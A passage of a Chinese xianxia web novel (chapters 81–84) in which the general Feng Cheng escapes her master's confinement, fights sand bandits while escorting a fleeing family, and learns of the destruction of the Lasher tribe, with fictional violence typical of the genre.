电光火石间,赵狩突然就变了脸色。 他道:“……你早就可以离开了。” 赵狩甚至觉得天旋地转起来,他不可避免地惧怕那个答案。 “为什么留下?” 封澄垂了垂眼,随即抬手,悍然灵力将扣在手腕上的穷道锁生生震碎下来。 “他太伤心了,”封澄垂眸道,“我没办法走。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第81章眼熟 在第一次打算逃走时,封澄并没想到,赵负雪的反应会大到那种程度。 她去破阵,一是真打算瞧瞧有没有出去的门路,二是想借阵法之动,进而向赵负雪表达自己的意图。 师徒多年,赵负雪从来对她予取予求,封澄从前向赵负雪讨要什么东西,是不会有防备,也不会有什么戒心的。 赵负雪不会伤害她,这几乎是刻在封澄常识里的东西。 她像几十年前一样,直白地、霸道地向师尊提出要求。 ——我已经在破你的阵法了,快把我放走。 结果赵负雪的反应大得她难以想象。 穷道锁扣在手腕上的刹那,封澄的第一反应是,傻眼了。 紧接着,便恼了。 可对师尊恼,管用,对疯了的赵负雪恼,不管用。 封澄像只巨鸟,悄然无声地坐在出洛京的马车顶上,束起来的长发在身后猎猎而飞,她吹着冷风,冷静地思考,赵负雪与她,到底是怎么走到这一步的。 “又要拿穷道锁关人,又把这上古灵器硬生生凿了一条缝出来,”封澄心乱如麻,长叹一声,“别扭成这个样子,真是……” 发觉穷道锁缝隙的时候,封澄是有些惊诧的。 赵负雪拿穷道锁这件事,完全出乎了她的意料,如此不管不顾的囚禁举动,堪称违背了他平生道义。 封澄明白,他以平生仅有之决绝,恳求她留于身边。 而留下的缝隙,则是赵负雪留给她的选择。 留,或者走。 思及此处,封澄又叹了口气。 “看在他这么伤心的份上,才留下几日的。” 谁知道赵负雪突然犯了疯,还疯到没法收拾的地步,一想到此事,封澄心累得几乎要一头撞死了。 最后逃跑,除了赵负雪疯得要命,她绝对不能再留下之外,还有个难以启齿的缘由。 封澄的腰眼隐隐作痛。 ——实在是虚了,再留下,八成要x尽人亡。 除了没跨过最后一步外,赵负雪几乎将“享受当下”四个字践行到了极致,封澄从没开过荤,如何能招架赵负雪的百般花样? 几日荒唐下来,她脚下都是虚的,恨不得回去抽自己两耳光,只觉得当时可怜赵负雪的自己简直愚不可及。 最后离开,其实也是因为赵负雪答应送了一碗糖水来。 他大概心中好受了许多,才有空捣鼓吃食。 思及此处,封澄又叹了一口气,只觉得今晚这气叹得没完没了。 “我当年是怎么放心去他榻上赖着睡觉的?”封澄难以置信地想,“胆子肥到如此地步,不长心眼的吗?” 说是教学,到最后脑子都是一片糨糊,亲身所学,唯有眼前花成一片的浪潮。 “这算什么师尊。”封澄不由得咬牙。 遥遥地,洛京城关已过,封澄回望着洛京城门,索性将心头乱麻一剪了之,她站起身来,将蒙住全身的漆黑斗篷扬手一挥,只见那漆黑衣袍遥遥飞起,如同一只漆黑大鸟一般,霎时无影无踪了。 “想起这些来简直没完没了——等做完最要紧的事,”封澄心道,“再想这些。” 向北走,七日路途,黄沙渐重。 以封澄养马多年的目光,准确地判断出,眼前的这匹马,并不适合长途跋涉,至少从目前来看,它快要撑不住了。 “挑错马车了,”封澄啧道,“以此老骥的本事,没死半路上,都算它祖坟冒二踢脚。” 马车中的旅客一家五口,一老者,一对夫妻,以及一双儿女,这五人里四个是凡人,老者已有老态,中年夫妻身上也没有半分灵力,唯有马车中一小小丫头,身上有些微波动的灵力。 这五人都是匆忙逃命的打扮,封澄冷眼旁观,只见那对中年夫妻的麻布衣物下,戴着层层叠叠的金珠玉银,老者戴着的东西平平,可上到抹额,下到鞋履,包括身上那件紫色绣衫,却都是一寸千金的寸华锦,只有两个孩子灰头土脸,看着胖乎乎的。 旁的不认识,寸华锦,封澄却是熟悉无比。 搞到寸华锦,并非只用银钱便可以,若无门道,是买不到的,更别说从头到脚地做一套衣裳了。 当年背后放着整个姜家的姜徵,穿着寸华锦,都要被批一句奢靡无度,此物之价值,可想而知。 一介租着破马车的逃难之人,怎么会穿着又富又贵的寸华锦呢? 封澄坐在马车上,总觉得这几个人好像眼熟得十分不愉快,沉思片刻,她却死活没想出在哪儿见过,于是封澄艰难地活动了活动自己的腰,心中只恨赵负雪。 若没他这几日折腾,她即便是去街边买一把铁剑,都该御剑到长煌了,怎么会又碰到这几个人。 第八日,老马气喘如牛,车夫脸上犯了难色,去车中道:“客官,这匹马犯了喘病,咱们非得去城中换马不可。” 封澄坐在马车车顶,睁开一只眼睛。 车中妇人道:“最近的车行,在何处?” 车夫小心看了一眼坐在车顶上的封澄,转了转眼珠,道:“最近的在东格拉塔,离此处也就几十里的路程,这匹马还撑得住,只是……” 在听到东格拉塔四个字时,封澄哼了一声。 妇人道:“只是什么?” 车夫道:“东格拉塔,是沙匪的地盘,咱们要过去,少不得托个有能耐的大人物来。” 妇人有些难堪:“……沙匪凶险,修士佣金,想必高昂,且此地前不着村后不着店,上哪里寻一个修士来,还有别处车行吗?” 那车夫讨笑道:“别处车行可险了,若半路这马死了,我们还需带着行囊徒步而去,路上别说沙匪,遇到天魔都不稀罕——客官也不必哭,所求修士,远在天边,近在眼前。” 话已至此,封澄也懒怠听这俩人的话外之音了,总归是贸然搭了人家七日马车,帮人赶个沙匪,也算是情理之中了。 她懒洋洋道:“好说啊,你只管往东格拉塔去,那沙匪我熟。” 妇人当即惊喜无比:“果真吗!” 封澄点了点头。 当年她去长煌大原剿魔,路过东格拉塔,似乎也顺手剿过什么东西。 她 走的时间太长,原本死灰,竟也复燃。 长煌大原也比她预想中荒得快。 从前东格拉塔即便是不长几根草,也远远不到被称为“沙”的程度,那地的匪徒只能被成为野匪,还不能被成为沙匪。 车夫喜滋滋地应一声是,正要上马,忽然身后封澄叫住他。 “哎,”她别过头道,“给我找个斗篷来。” 她无比想念在城门口被她摘下并放飞的黑斗篷。 车夫茫然:“啊?” 封澄盘着腿,托着腮,叹了口气:“风沙大,打得脸疼。” 车夫:“……” 斗篷是没有的,但作为避沙的另一选择,封澄被请到了车子里面。 马车轻轻摇晃,封澄坐在车上唯一一处空位,正对着对面年幼的小丫头。 进入车中的刹那,车中五个人里,三个人隐隐地叹了一口气。 原因无他,封澄的脸实在太过年轻了。 年轻,意味着修为浅,意味着遇到沙匪时,他们并不能得到确凿无疑的保护。 封澄挑眉看着四周,奇怪道:“怎么唉声叹气的,在愁什么?” 打破这片尴尬的是中年妇人,她取来桌上一枚果子,拿随身帕子仔细擦了擦,递给封澄;“并没有什么愁事——姑娘请用。” 果子看起来红彤彤,味道十分不错,封澄也不客气,接过果子来,便咔嚓一口咬了下去。 妇人见她吃了果子,才慢慢道:“只是有个不情之请。” 封澄就知道。 她嚼了嚼果子,看在果子不错的份上,点头道:“你说。” 妇人牙一咬,在马车这狭隘的地方,竟然作势要跪下! “姑娘大恩,”妇人落泪道,“我等不求姑娘护我们一家五口的周全,只求生死关头,姑娘护住我的两个孩子。送他们去寿绵外祖处,求他们外祖收留。” 封澄心道吃个果子,还吃上托孤了。 她把果子咔咔两口嚼了干净,抬头,两眼直视着妇人:“如果说从前只是怀疑,那么现在便是肯定了……寿绵的外家,敢问夫人的夫家可是姓何?” 此言一出,妇人当即傻了眼,她猛地抬起头来,厉声道:“你是谁!” 封澄微微笑了:“你夫家有个儿郎,叫何守悟。” 天地良心,她说怎么这几个人眼熟到了令人发指的地步,这分明是她那便宜未婚夫,何守悟的母家人! 她出门没看黄历,随便扒了辆马车,竟然扒到何家的车马上了! 妇人惊疑不定地看着她:“所以你是谁?” 封澄道:“何守悟早些年的仇人。” 话音未落,车上众人皆惊叫成一团,封澄好整以暇地看着几人反应,嘴角微微一勾。 天机院中,几乎全部是修习天机术的修士,而何守悟,则是天机院的一大异类。 他几乎是个凡人。 何家的血脉往上数十八代,都找不到一个正儿八经的修士。 哪怕其祖处处与修士通婚,也无济于事,无缘修道这件事,似乎就板上钉钉地刻在了他的血脉里。 思及此处,封澄的目光落到了一旁的小丫头身上。 刹那间,她便心中明了。 “原来如此,”她道,“这是何家的第一个修士吧?苗子不错,叫什么名字?” 妇人的脸霎时变得一片雪白,那小丫头吓得哇哇大哭,踉跄着往妇人怀中扑,一旁装聋作哑的中年男子终于颓然睁开了双眼,他二话不说,解开麻布衣裳,便开始往下解首饰。 “这个,是何家的传家之物,”他边解边说,“这个,是何大人赏下来的东西,这个,是宫里头的宝贝。” 封澄还未来得及止住他往下解东西的举动,却听车外一阵嚣张的喊打喊杀声。 “哪来的马,敢来爷爷们的地盘!” 众人猝然捂住了嘴。 沙匪来了。 第82章 第82章有什么门道 沙匪来时,最警惕起来的是嗅觉。 混浊的血腥气、马匹与皮革的味道,随着车窗外的尘沙汹涌地包裹了这辆摇摇欲坠的马车,倏地一声刀剑扑入血肉的声响,紧接着便是一声凄厉无比的马嘶,一沙匪哈哈大笑:“一匹老马!杀了给大当家做个脚垫子!” 车中的何家人当即面露惨白之色,每人的脸上都是如假包换的惊惶,封澄冷静地拔了桌上的削果刀,随即捂住身边男孩儿的嘴,将他几欲出口的尖叫硬生生地逼了回去。 “把孩子藏进去,别让这群人知道车里有孩子。” 何氏妇人紧紧拥着小丫头,拼命地点点头,封澄把手里小子丢给那老者,转身,鬼魅似的从车窗里蹿了出去,悄然无声地落在了马车的车顶上。 听着车顶上的细微响动,车中众人微不可察地吞了吞口水。 沙匪多围在老马身旁,又叫又吼地剥皮拆肉,这马车颇高,封澄趴在车顶上,众沙匪竟没注意到她。 她目光沉沉,面无表情地盯着跪地求饶的车夫。 他哭声凄惨,却干打雷不下雨,咣咣磕头道:“小的做点儿小本生意,替人赶车为业,身无长物,实在是没有一点儿银钱能孝敬各位爷爷啊!” 封澄冷眼旁观着。 一沙匪擦着往下滴落血液的马刀,凶狠的三角眼向马车车厢里梭巡:“咱也没走空的道理,兜里没个银钱,叫老子怎么和老大交代?啊?” 车夫忙换了个方向,转而对着车厢里面嚎道:“客官,您也听着了,眼下实在没有法子了啊!” 车内妇人抖抖索索,强行镇定道:“……多少银子,放我们过去?” 沙匪哈哈一笑:“越是富贵人,命越是贵,不知各位的命,是贵是贱?” 和沙匪打了不知多少交道了,封澄一听这话,就明白了。 沙匪要他们的全副身家。 或者说,直接要他们的命。 妇人强撑着道:“我们一家逃难至此,并没有什么银钱。” 沙匪的目光一斜,那车夫当即就变了脸色,他不住地摇头,看着似乎在与沙匪打暗号,眼神却有些慌乱,直往马车里头瞧,看着隐隐有些急切。 封澄冷笑一声,明白了。 这车夫和沙匪是一伙的,可又不是全然一伙儿。 他装车时打探明白了何家家财,并将何家车马引到东格拉塔,就好比牧羊犬牵了一只肥羊来给恶狼送饭。 但这次肥羊牵过来时,却意外引了另外一头多管闲事的猛兽过来。 能以一敌百的修士。 被人当刀子使的感觉并不美妙,封澄气得笑了,她当即站了起来,反手一挥,只见握在手心的削果刀铮然而出,精准地穿透了车夫的手掌。 沙匪是要除的,而介意被当刀子使这件事,也是当真的。 他当场发出了杀猪一般的嚎叫,沙匪大吼一声,警惕地抬起头道:“什么人!” 封澄看也不看抱手嚎叫的车夫,她从容站起身来,懒洋洋道:“要你命的人。” 沙匪大惊,只打眼一看,便警铃大作,他向身后吼道:“有修士,快去找老——” 话音未完,肉眼几不可见的猩红血线便出现在了他的脖颈上,沙匪睁着眼,喉咙里只徒劳地溢出“嗬嗬”的气音,陡然,软倒在地上,不动了。 一颗切口整齐的头颅从他躯干上缓缓地滑下来。 车夫正跪地上磕头,突然半身便被浇了一腔子血,他茫然地跪着,一脸空白地摸了 摸身边的滚烫血迹。 紧接着,一声惨绝人寰的惨叫几乎刺穿了众人的耳膜。 封澄眯着眼睛,捏了捏手指。 对味了,这才是她的身体,她的灵力。 从血海里杀出来的,不打折扣的天机主将。 回到天征四年时,她身体的灵力与强度是打了不少折扣的,但与之相对的,人也平和淡然多了,眼下回到全盛之时,封澄很有手痒之感。 此时只怕自己杀红了眼收不住,于是她磨了磨牙,道:“把你们老大叫出来。” 沙匪当场不服,丁零当啷地就要来打,谁料刀子没飞来,身后反倒想起来一声喝止。 “住手!” 其声如狮吼,裹挟着藏不住的灵力,修为低些的修士闻声也该晕过去了,封澄挑了挑眉,有点意外。 当年东格拉塔嚣张的那批匪,被她拎出来杀了个干净。 横行乡里的匪帮,临走时,只剩个老态龙钟的烧火厨子,颤颤巍巍地拄着拐,看着她孤身策马而去。 几十年不见,这地儿的匪帮死灰复燃,老大变成个修为有成的女人了。 封澄掠身而下去,众沙匪当即一惊,齐齐向后道:“老大!” 那女人的身材极为魁梧,几乎到了让人仰视的地步,封澄忽然眼皮一跳,心中有了点儿不太好的预感。 总觉得今天命里犯人。 不犯小人,犯熟人。 那女人骑着高头大马,大马金刀地往那一横,周身匪气便止不住地铺面而来,她走得越近,封澄的眼睁得就越大,最后,惨不忍睹地闭上了眼睛。 “在老娘地盘杀人,你几条命够使!” 女人大吼一声,跳下马来,抬眼便看向站在地上的封澄,她边走边喊:“你兵器呢?拿出来!” 封澄笑笑:“它杀孽太盛,见了血收不住。” 这句话阔别经年,再度从故人口中而出,女人霎时怔住了。 封澄道:“蝎子,好久不见。” 她的容貌变了些,却变得不多,兴许是她身上灵力也不少的缘故。 蝎子的脸僵住了,她久久地凝视着封澄的脸,片刻,她猝然回过神来,怒吼道:“……你是谁!” 封澄抬起眼来,有些疑惑:“?” 蝎子缓了缓,才喃喃道:“……你早死了,那可是天魔之主。” 她亲手指给那小丫头的魔物,误以为是普通人形天魔的魔物,是如假包换的天魔之主。 蝎子至今仍然难以忘怀,在指路的第二日,她怀着一肚子气,回到那街道,本打算埋伏那二人抢走人形天魔,谁知等来的却是街头传来的消息。 天魔之主持劫,重新现世了。 她茫然无措,电光火石间意识到,天魔之主持劫,似乎便是手臂生了蛇鳞的人形天魔。 “听说持劫昨日被城里俩不长眼的修士伏击了,这才被人瞧见的。”城外酒馆闹闹嚷嚷,她灌酒喝得魂不守舍。 “那俩修士死得可惨吧?啧啧,撞到谁手里不好,竟然撞到持劫手里了!” “昨晚消息可热闹了,我怎么听着还有赵家什么事儿,赵家是不是也私吞了一只天魔?昨晚人形天魔这么多吗?” “……” 说着说着便聊歪了,络腮胡坐在她对面,半晌,叹了口气,安抚她道:“你也别太难受……那不是小坏秧子自找的吗?怪你自己做什么?” 她打了个酒嗝。 对,猎魔却猎到持劫头上这件事,是那小坏秧子自找的。 可她偏生难受——猎杀持劫的滔天大祸,本该落在她头上。 小坏秧子那么年轻,那么机灵,那么气人。 她不知为何,止不住地呜呜大哭,骇得络腮胡手忙脚乱,络腮胡央求道:“你光喝闷酒,也说两句话,哭什么!” “你说一句,说出来,就不难受了。” 她当时说了什么来着? “……烤羊羔子。” “啊?” “……烧过去,叫她吃烤羊羔子。” 思及此事,蝎子便忍不住牙关紧咬,她瞪着封澄的脸,双目几乎喷出火来,想也不想地,蝎子一把拔出身旁沙匪的马刀,凶悍地向封澄劈去! 封澄双手环胸,就地一闪,又惊又委屈:“你打什么!我杀你一个人怎么了,他要抢我们东西!” 蝎子不答,劈出来的刀光却一道比一道不留情,封澄几番闪躲,也自知不是办法,索性下一个闪身时,抬手抽了沙匪的马刀出来,与蝎子正面架上。 “……别太过分啊。”封澄咬牙切齿道。 蝎子冷哼一声:“都到这个时候了,你还是没混上自己的兵器?” 封澄翻了个白眼,反手一劈,蝎子接招,刹那间脸色却变了。 察觉到蝎子骤然生变的脸色,封澄像只狡黠的猫一样,眯着眼睛笑了笑:“兵器是拿来对付外人的。” 蝎子的牙骤然一咬。 兵器对着外人,那么对她不用兵器,是什么意思? 这坏秧子的怪力简直非人,一劈下来,几乎震麻了她整条手臂,且蝎子观封澄神色,心中竟隐隐有一直觉。 她还是收着力道的。 一想到封澄和她对打还要收着力,蝎子骤然就觉得好没意思,她收刀回来,怔怔站住了。 她道:“……你本事不小。” 封澄道:“还行——” 蝎子紧接着跟上了后半句:“能在持劫手底下活下来。” “既然活着,为何几十年间,渺无音讯?” 话一出口,蝎子便觉不妥,她自嘲笑笑:“糊涂了,瞧你会说几句古语,就当你是我们这儿的人了……长煌哪有值得你回来报音讯的人,你本事这么大,从持劫手下都能跑。” 说罢,蝎子定了定神,收拾出一副平静的神色:“小坏秧子,我还不知你什么名姓。” 叫她烧纸都没处烧。 封澄不知为何,被蝎子说得有点难受。 她道:“封澄。” 蝎子骤闻此名,有些意外,她咧嘴笑笑:“这么大的名儿啊?早知道烧纸给你一块烧了。” 封澄:“……” 烧纸?什么烧纸? 蝎子继续道:“封将军死了这么多年了,估计光收纸钱都收成豪贵了……你瞪我做什么,我就随口一说。” 第83章 第83章胆子不小 对于纸钱的讨论令封澄不太想继续这个话题了,她一想起自己那点儿俸禄,就穷得牙疼。 出走半生,归来仍是穷光蛋。 她勉强道:“长煌什么时候也有烧纸钱的说法了……不说这个,今天你手下要抢我的车,你得给个说法。” 蝎子脸上的动容一扫而空,两眼一瞪:“抢车?什么抢车,这条路是咱开的,这么多弟兄们等着吃饭,收个过路费怎么了?” 封澄轻微地磨了磨牙。 收过路费好说,可要是沙匪温良到只收过路费的程度,那还叫什么沙匪?叫驿站得了。 这么说着,四周沙匪便轰地大笑起来,蝎子也笑了,她拍拍封澄的肩膀,散漫道:“今日久别重逢,别说这些丧气的话,不收你家车马的过路费就是了。走走,去城里吃肉,今日我命人宰头新鲜的羊来。” 她霎时便成了一个老练的匪头儿,蝎子的目光瞥了瞥地上老马,又笑道:“杀了你家一匹马是不是?小的们,去马棚里牵匹膘肥体壮的来,给姑娘换上!” 说罢,蝎子又道:“车里是谁,你家里人?也下来坐坐。” 封澄听此话音,目光有些发沉。 常年混迹于恶徒之中,封澄下意识地把人往恶里想。 她不动声色地打量着蝎子。 当年不过是并不愉快的一面之缘,值得蝎子几十年后,仍热忱相待吗? 于是封澄眯眯眼,笑了:“哪里的事,不过替人押镖,谋口饭吃。” 蝎子并未听出封澄话音,她高兴地转过头来,振臂道:“小的们,给车子套上马,把人请进城好生招待!” 下面齐齐应一声是,随即便由一人去收殓那断头的沙匪,另外有人将马车套上马,向城中牵去。封澄垂眸想了想,便回到马车旁,掀起了车帘。 妇人坐在马车中,紧紧地抱着怀中小女儿,神色惊惶,双目却坚定得出奇。 封澄道:“休息一夜,还是换马启程?” 妇人摸了摸怀中女儿。 两个小孩子都有些憔悴了,这几日颠簸,即便是大人也受不了,更何况孩子。 那边的小子缩在祖母怀里,小声啜泣——他没有灵力,身体比那小丫头更为孱弱。 老者劝道:“八日颠簸,庆儿连个觉也没睡成,你做娘亲的,不能只顾庄儿一个娃娃,有灵力的是你骨肉,这没灵力的,难道就不是你骨肉了?” 这哭声仿佛锥子一般砸在太肉麻心头,封澄看得出那妇人犹豫,于是她偏了偏头道:“若留下,也保你们平安。” 良久,妇人却她抬起眼来,郑重地摇了摇头。 “不能停下,万一在这儿出了差错,我们便白跑了。” 封澄眉毛挑了挑,对她这个回答有些意外,谁知听到这个回答的刹那,那庆儿哇地一声哭了出来。 孩童的哭声足以将睡到昏迷的半死人嚎醒,更何况耳聪目明的沙匪,封澄骤然被这小孩的哭声冲了一脸,额角当即便跳了起来,咬牙切齿道:“……不是让你捂好他们的嘴吗?” 男人手忙脚乱地捂住庆儿的嘴,可为时已晚,蝎子一众闻声,齐齐转过头来,面露惊喜之色,封澄看着忽然向这里走来的蝎子,心底暗叫一声不好。 边境混了这么久,旁人不知,封澄却知道,长煌大原的匪与匪之间是不同的,将每一帮匪联系到一起的,绝非嘴上投诚,而是某种更为深邃的连结。 是一种名为“家”的连结。 不谙世事的、白纸一般的稚童,可以随意描画。 他们做出类似于“家”的结构,一代一代地抚育孩子,将孩子们养成护家如护命的、新的沙匪。 而这时,新的问题来了,这群脑袋别裤腰带上的亡命之徒,从哪来的孩子? 答案是,别人的孩子。 捡别人的孩子,或者是—— 抢别人的孩子。 蝎子走过来,目光中有些令封澄警惕的东西,她凑到车窗前来,高大的身影骤然挡住了透进去的日光,庆儿抬着眼睛,又惊又怕,连哭都忘了哭。 封澄当机立断,一把踹开蝎子,喝道:“把你们那儿的臭规矩收回去!这孩子有爹妈!” 蝎子猝不及防,被推了个踉跄,她脸色一变,在看着封澄时,却还是强行收敛了凶意,只是一边看着封澄,一边小心地看向马车里面。 “这不是我一个人的规矩,我有我不得已的地方。”蝎子看着她道。 此时此刻,封澄看着蝎子几乎没什么变化的脸,半晌,冷笑一声。 她终于有了分明的感觉,当时死得痛快,两眼一闭,不过是回到过去不到一年,可此世众生,却是实打实地过了五十年。 五十年,足够一个活人变成厉鬼,足以让一个胆敢擒杀人形天魔的少年人,变成满口不得已的、心思深沉的沙匪头头。 唯有她一人,被时间诅咒似的定住了。 这么想着,封澄道:“少放那些狗屁,你敢动这孩子一下,我即刻和你再上一次祭台。” 不料在听闻此话的刹那,蝎子的眼神暗了暗。 “……” 沙匪嚷嚷道:“祭台?还上祭台?那都是什么老黄历了!拉舍尔部灭了四十年了!” 封澄骤然愣在了原地。 仿佛有兜头冰水从天灵泵至四肢,又从四肢泵会心脏,封澄只觉得浑身阵阵发冷,手脚在刹那便冷了起来,她向前踉跄一步,低声道:“……你说什么?” 那沙匪莫名其妙;“拉舍尔部啊?姓封的一死,就没人给他们撑腰了,洛京来几个天机师就够灭一部的,这又怎么了?” 封澄震声道;“铁骑呢?天机铁骑眼睁睁地看着拉舍尔灭部?!” 沙匪更莫名其妙了:“边境天机军,听话的,给洛京当狗去了,天天摇着尾巴,等他们血修爷爷给丢点狗饭下来,不听话的,不是跟着姓封的一起死了,就是夹着尾巴到处流窜。说实在的——还没咱们弟兄们活得自在,起码咱屁股后面没有天机师在追是不?!” 封澄越听,身上越凉,刹那间,她几乎生了和那群血修同归于尽的心, 最后一丝理智将她强行扯回:“……那可都是功臣,他们这么做,不怕寒了天下人的心?” 沙匪哂笑一声,滔滔不绝:“光咱们认没用!世人不认!除了咱们这些在长煌刨食吃的人,谁知道当年那场仗是怎么打的?说成叛将就成叛将了,跟着打仗的天机铁骑,难道能有什么好果子吃?赵家堂堂第一世家,不过家主收错了徒弟,结果呢?被逼得几十年不出大门,咱差点以为他畏罪自戕了。” 蝎子不耐烦道:“你说得够多了,滚回去。” 那滔滔不绝的沙匪一缩脖子,夹着尾巴滚回去。 蝎子强笑道:“这兄弟打小嘴碎,挨打都不管用……现在说这些做什么,哭魂又不能把死人哭回来,我只说一句,上一地方来,得听一地方的规矩,把孩子留下,我称金子算给你。” 封澄原本就怒火中烧,怒火几乎烧到了天灵盖上,她一脚把围在马车前的沙匪踹了,翻身上了马车,冷冷道:“今日我偏不守规矩,我看谁敢拦我。” 蝎子脸一沉,几个沙匪察言观色,目露凶光,慢慢地走到了刚刚被套上车子的马前。 封澄的眼睛盯着这几个不长眼的沙匪,紧接着,手一甩。 一杆马上枪仿佛凭空出现一样落在了她的手心。 “再不退后,刀枪无眼。” 还有沙匪欲围,封澄毫不废话,只听一声闷响,那杆长枪便夺了那围来沙匪的性命,众沙匪大骇,齐齐看向蝎子,可蝎子望着她手上的长枪,目光中有一瞬的愕然。 “血修——!!” 忽然有沙匪惨叫一声,跌跌撞撞地便向后冲去,众沙匪霎时大乱,也顾不上请示老大的意思了,逃的逃,跑的跑,哪里顾得上拦马? 平常凡人对上修士,胆子大的,或许能过上几个来回,可若是对上血修,那就另当别论了。 活吃,生剜,魂魄搅碎…… 在此人仰马翻之时,唯有一人望着封澄,目光怔怔。 她艰涩道:“……是你么。” 封澄低下头,冷冷瞥她一眼,道:“听不懂。” 说罢,她转过头去,只听一声怒喝,漆黑大马便如同如同疾驰之箭,踏着一地残尸,拉着背后的破旧马车,踉踉跄跄地前去了。 东格拉塔沙匪齐齐奔逃,唯有蝎子怔怔站在原地,望着马车后的滚滚沙尘。 *** 行了许久,四周渐渐地没有人烟了。 夜间风冷,吹了许久夜风,总算把封澄心头怒火吹冷些,她冷静下来,马匹也渐渐地放慢了脚步。 似是察觉到她驾车的速度减慢,车中才有了些谨慎小心的动静。 帘子一动,何家妇人悄悄探出头来:“咱们出来了吗?” 封澄道:“……嗯。” 妇人看着她的神色,察觉到她似乎是心情不太好,于是小心翼翼地退回了马车,片刻,推了那男人出来。 她道:“外头风冷,让他来驾车,姑娘进来歇一歇。” 封澄垂眸,不经意瞥到了她扒在车门上的手。 那双手在发抖。 刹那时,封澄反应过来了。 “胆子不小,”封澄勾起嘴角,“还敢请我进去。” 第84章 第84章死后哀荣 妇人似乎瑟缩了一下。 封澄也懒得吓她,转头道:“寿绵与我不顺路,我到下一城驿站便下车了,到时再让你男人赶车吧。” 听闻此话,妇人脸上露着很明显的纠结之色。 封澄心知肚明,这帮何家人既想要修士的保护,有 骇于她的血修身份,既怕,又怕,既要,又要。 如若是平常,封澄倒是并不介意做个好人,可此时骤然听闻了天机铁骑的消息,她又如何坐得住? 更何况了,这群何家人,乃何守悟的血亲母家,她即便是把这一车人偷偷杀了,从情理上也是说得过去的。 妇人斟酌片刻,小心翼翼:“大人要往哪儿去?” 封澄垂了垂眼睛:“……拉舍尔部遗址。” 当年她初初接手长谎边境的铁骑军时,铁骑军还不叫天机铁骑。 说来荒谬,在封澄来到长煌大原之前时,边境军的主力成员,并不是天机师,而是如假包换的凡人。 其中的拉舍尔部,又是边境军的主要兵源,照着封澄当年接手时看过的籍贯来说,至少一半的边境军,是出自拉舍尔部的。 其部勇猛好战,忠诚重诺,男女老少皆能上战场,即便是三岁稚童,也能举着**哇哇乱舞。 妇人一怔,随即,她掩饰地笼了笼鬓发:“大人是拉舍尔部的人吗?” 封澄瞄了她一眼,将她的不自在收归眼底:“硬要说的话,应该也算。” 妇人沉默了。 封澄笑笑:“拉舍尔部的灭部一事,何家动的手?” 妇人吓了一跳,脸色霎时有些白:“怎么可能!何家里连个修士都没有,岂能杀了拉舍尔部的勇士,他们会死斗到最后一个老弱死去。” 封澄点点头,一句话也不说了。 她心头剧痛,喉头哽塞,话仿佛被堵在心口里头,一句也逃不出来,只在胸腔里头横冲直撞,恨不得把她的心头到泪腺统统撕个粉碎。 人在大悲大恸时,是哭不出来的。 忽然夜风又起,寒意如针般扎到了人身上,何家妇人打了个寒战,下意识地便要缩回去,忽然间她想到了什么,于是觑着封澄脸色,小心翼翼道:“夜间风寒了,大人还是进来小睡片刻吧,车里有食物,也请用一些。” 封澄迎着寒风,眨了眨眼,浑然不觉。 兴许是修行灵力的缘故,封澄从前虽不怕冷,可也并不会习惯受冷。到了寒冬腊月,她通常是天机院里头裹得最严实那个。 作为一个半路出家的修士,比起修士来,她更像个凡人。 现在封澄却猝然觉得,迟钝了,天冷都不知道添衣了,饿了都不知道吃饭了。 从前她笑赵负雪,不知吃,不知喝,不知寒暑,不知享乐,天天行将就木一样,活又活不痛快,死又死不了,惨得不如树上的鸟雀。 眼下四顾,封澄忽然觉得,她现在似乎是有点儿像赵负雪了。 如若一人的心底终年割着锋利寒霜,那么身外喜怒哀乐,严寒酷暑,又怎敌得过心底之伤。 她心道:“活得像他一样,也太吓人了。” 她合上眼睛,忽然就变了心意,转头道:“叫那男人出来赶车,我进去避避风,冻死我了。” 妇人忙道:“好——老何,出来赶车。” 男人披着厚厚的袄钻了出来,封澄踏进车厢里,只见两个孩子蜷缩着,睡得正香,她下意识地放轻了手脚,车中老者看着她,目光中有些警惕,看她小心手脚,顿了顿,还是小声道:“前几日,大人担惊受怕,连带着小孩儿也不敢睡觉,今夜多亏大人,两个孩子总算能睡一觉了。” 妇人进来,把熟睡的小丫头塞到封澄怀里:“孩子暖和,暖一暖。” 封澄下意识伸手一接,在察觉到接过什么东西时,表情出现了一瞬的空白。 、 小丫头睡得正香,身体热乎乎、软绵绵的,抱着仿佛一朵温热的云,猝然换了环境,她有些睡得不稳,迷迷糊糊地便把脸向封澄怀中埋去,封澄骤然便手足无措起来,她看着埋在怀里呼呼大睡的小丫头,抱也不是,放也不是。 那老者吓得一脸惨白,欲言又止,狠狠地瞪了妇人一眼,转头强笑道:“胡闹,大人还是个半大孩子,你躲懒竟躲到仙人身上了!来来,把庄儿给我抱着。” 妇人道:“婆母倒是出言冒犯了,大人是仙人,容貌与年岁自然不符,如何就是半大孩子了,如此称呼,极为不敬。且外头天冷,大人穿着单薄,难道要冻着了大人不成?” 老者被妇人堵得哑口无言,片刻,冷笑道:“你若是这么说话,我便要请我儿进来瞧瞧了。” 妇人不卑不亢:“莫说老何,您老即便是请御座上皇帝下来,理也是这个理——况且您也请不进来么。” 封澄坐在一旁,渐渐地目瞪口呆。 她感觉自己猝不及防地看了一场好戏。 当年姜徵和深宫大院里那群人唇枪舌剑时,也是这么寸步不让、斗志昂扬、旁征博引、长篇大论。 当时她坐在凤座一旁的软椅上,磕着瓜子,看着好戏,就着姜徵的唇枪舌剑,频频拍案叫绝。 说来奇怪,姜徵从前是再寡言不过的一个人,怎么一沾那椅子,便成了个能言善辩的人了。 封澄就这乱七八糟的小声拌嘴,抱着软乎乎的庄儿,不知不觉,沉沉睡去了。 **** 与此同时,赵家地室,赵狩面无表情地推开禁地大门,走到了冰棺之前,行礼道:“家主,姜太后使者到。” 冰棺中的人,已经无影无踪。 赵负雪坐着轮椅,在冰棺之旁,他的手轻轻地摩挲着冰棺,仿佛是在摩挲爱人的皮肤一样。 “……向家主索要封将军尸身。” 赵负雪的手顿了顿,他转过身来,对着赵狩露出了个笑意:“使者?” 赵狩垂眸想了想,想起来,似乎这个使者的身体格外纤细些。 赵负雪笑得更古怪了。 “今天是姜徵,亲自来了。” 赵狩悚然一惊,他道:“属下失职。” 可即便是他亲自接引了使者,他也并未分辨出那是鼎鼎大名的姜太后,身居于禁地之中,足不出户的赵负雪,又是如何得知呢? 身边忽然有轮椅压过冰面的轱辘声,待赵狩抬起头来时,赵负雪已经走远了。 他松了口气,心头稍微松了松,他向心口摸了摸。 封澄临走之前,将穷道锁震碎,上古灵器,虽坚硬如昨,却已经成了废材。 